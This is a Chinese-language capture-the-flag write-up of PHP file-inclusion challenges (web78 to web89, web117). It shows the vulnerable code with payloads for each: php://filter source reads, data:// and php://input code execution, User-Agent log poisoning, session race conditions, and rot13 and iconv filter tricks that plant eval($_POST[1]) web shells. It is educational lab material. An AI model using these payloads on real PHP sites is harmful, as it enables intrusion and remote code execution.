php/7.3.9by 和音 :::success include包含文件(不管是不是php文件),如果这个文件里面有php代码是可以执行的 :::
限制条件
选项 | 默认设置 | 影响函数 | 注 |
---|---|---|---|
allow_url_fopen | on | 此选项只能在 php.ini 中设置 | |
allow_url_include | off | include, include_once, require, require_once, data:// | 此设置需要allow_url_fopen |
allow_url_fopen | allow_url_include | 影响 | 把文件执行 |
---|---|---|---|
On | On | 本机/远程文件包含,所有伪协议 | 是 |
Off | On | 本地文件包含,php://filter、php://input可用,部分伪协议不可用(data://) | 是 |
On | Off | 本地文件包含,php://filter可用,部分伪协议不可用(data://、php://input) | 否 |
Off | Off | 本地文件包含,php://filter可用,部分伪协议不可用(data://、php://input) | 否 |
伪协议 | 可否大小写替换 | 默认配置是否可用 | 使用方式 | 显示方式 |
---|---|---|---|---|
php:// | 是 | 仅php://filter可用 | php://filter/convert.base64-encode/resource= |
直接显示 |
data:// | 否 | 不可用 | data://text/plain, data://text/plain;base64, |
查看源代码 |
web78
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
Payload
?file=php://filter/convert.base64-encode/resource=flag.php
web79
str_replace — 子字符串替换
str_ireplace — str_replace() 的忽略大小写版本
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
Payload
?file=data://text/plain,<?php system("cat flag.???");?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
web80
:::info
日志文件包含
日志文件记录了服务器收到的每一次请求的IP、访问时间、URL、User-Agent
这4项中的前两项的值都是我们无法控制的,我们只能在自己可以控制的字段上做手脚,其中URL字段由于URL编码的存在,空格等一些符号会自动进行url编码,存到日志当中时,不是一个正确的php语句,无法成功执行。而User-Agent则不会被进行任何二次处理,我们发什么内容,服务器就将其原封不动的写入日志
访问日志的位置和文件名在不同的系统上会有所差异
- apache
- /var/log/apache/access.log
- apache2
- /var/log/apache2/access.log
- nginx
- /var/log/nginx/access.log
- /var/log/nginx/error.log
要在用文件包含漏洞读取日志文件的同时,修改ua头为我们想要执行的命令(burp中go要点两次才能执行命令,第一次将代码写入日志,第二次执行代码
操作一定不能出问题,如果报错就要销毁容器从头再来。因为php语法错误后不再解释执行后面代码,语法错误后,后面不管语法对不对都不执行了。我们包含了日志文件,如果日志文件中我们插入了错误的php代码,那么我们再次执行对的代码时会先执行那个错误的php代码,因为报错,所以后面正确的就不会执行了
远程文件包含可以包含其他主机上的文件,并当成php代码执行。要实现远程文件包含的话,php配置的allow_url_include = on必须为on :::
1.php://input + Post data
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
Payload
?file=Php://input
<?=system("tac fl0g.php");?>
2.包含日志文件
web81
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
web82
:::info Web82-Web86可以体会一下条件竞争 :::
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
过滤了.
,只能找一个不带.
路径的文件,所以选择了session会话文件
包含session文件GetShell
web83
:::warning 在单线程安全的代码,在多线程下不一定安全 :::
<?php
session_unset();
session_destroy();
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
:::info
session_unset():
释放当前在内存中已经创建的所有$_SESSION变量,但不删除session文件以及不释放对应的session_id
session_destroy():
删除当前用户对应的session文件以及释放sessionid,内存中的$_SESSION变量内容依然保留, 也不会重置会话 cookie
:::
表面上,按道理来说:这两个函数都已经将有关session的东西都删除了,我们是无法进行session文件包含的。但是:我们的脚本或者bp仍然能够进行包含。原因在于多线程竞争的含义
:::info
什么是多线程竞争
线程是非独立的,同一个进程里线程是数据共享的,当各个线程访问数据资源时会出现竞争状态即:数据几乎同步会被多个线程占用,造成数据混乱,即所谓的线程不安全。
这样,因为在执行session_unset()与执行session_destroy()的时候有间隔,他们与include($file)直接也会有间隔,我们其中的一个线程在删除session文件,而另一个线程刚刚又创建了一个session文件,然后前面的线程又开始包含,那么还是能够正常包含。
怎么解决多线程竞争问题? 锁
锁的好处: 确保了某段关键代码(共享数据资源)只能由一个线程从头到尾完整地执行能解决多线程资源竞争下的原子操作问题。
锁的坏处: 阻止了多线程并发执行,包含锁的某段代码实际上只能以单线程模式执行,效率就大大地下降了
锁的致命问题: 死锁
:::
可以通过条件竞争绕过session_unset();``session_destroy();
因为代码在执行include的时候,没来得及销毁session
web84
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
system("rm -rf /tmp/*");
include($file);
}else{
highlight_file(__FILE__);
}
可以通过条件竞争绕过system("rm -rf /tmp/*");
因为代码在执行include的时候,没来得及删除文件
Web85
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}
}else{
highlight_file(__FILE__);
}
可以通过条件竞争绕过<
的检测,但是因为检测内容的速度较快,因为需要增加攻击线程数。
原理:
session.upload_progress.cleanup = on(默认开启)当文件上传结束后,php将会立即清空对应session文件中的内容
我们在设置session文件后,被删除了,但是一个线程刚好进行if判断,文件存在,且文件内容为空,那么就会准备执行include,同时另一个线程刚好设置了完整的session文件,那么就会被包含进去
代码正确的写法应该是在写文件内容前做检测,检测通过才写文件。而不是写进去了再检测文件内容。
:::success
涉及文件读写相关问题容易出现条件竞争漏洞
:::
Web86
<?php
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
Web87
base64编码的原理
谈一谈php://filter的妙用
file_put_content和死亡·杂糅代码之缘file_put_contents()
可以使用伪协议的
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
php://filter/write=convert.base64-decode/resource=
php://filter/write=string.rot13/resource=
php://filter/write=string.strip_tags|convert.base64-decode/resource=
payload
http://56135e60-919a-4883-9879-ec43be79eeb9.challenge.ctf.show/?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
// POST
content=<?cuc riny($_CBFG[1]);?>
Web88
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
payload
构造base64,不能出现=和+
?file=data://text/plain;base64,<?php eval($_POST[1]); ?>aa
?file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/PmFh
// POST
1=system('tac fl0g.php');
Web89
打开网页是一个视频,下载下来,用binwalk分析
然后用foremost分离出来,打开图片,发现是源代码的截图
此处发送数据包不能使用hackbar,因为代码中设置了header,浏览器认为这是mp4,所以文件包含不会被正常显示,请使用Burp发包
payload
?file=flag.php
Web117
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
分析:没有过滤php,那么我们就可以通过php://filter/write来写入文件,然后通过编码绕过死亡函数,因为这里过滤了base64和rot13,string,所以得用其他的编码
知识点:谈一谈php://filter的妙用 | 离别歌
用ucs-2编码:更多编码方式
:::info
iconv
说明
iconv ( string $in_charset , string $out_charset , string $str ) : string
将字符串 str 从 in_charset 转换编码到 out_charset
返回值
返回转换后的字符串, 或者在失败时返回 false
convert.iconv.
这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据
其用法有点类似于base_convert的功效一样,只不过二者还是有作用的区别,只是都是涉及编码转换的问题而已
那么我们就可以借用此过滤器,从而进行编码的转换,写入我们需要的代码,然后转换掉死亡代码,其实本质上来说也是利用了编码的转换
:::
payload
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php
//POST
contents=?<hp pvela$(P_SO[T]1;)>?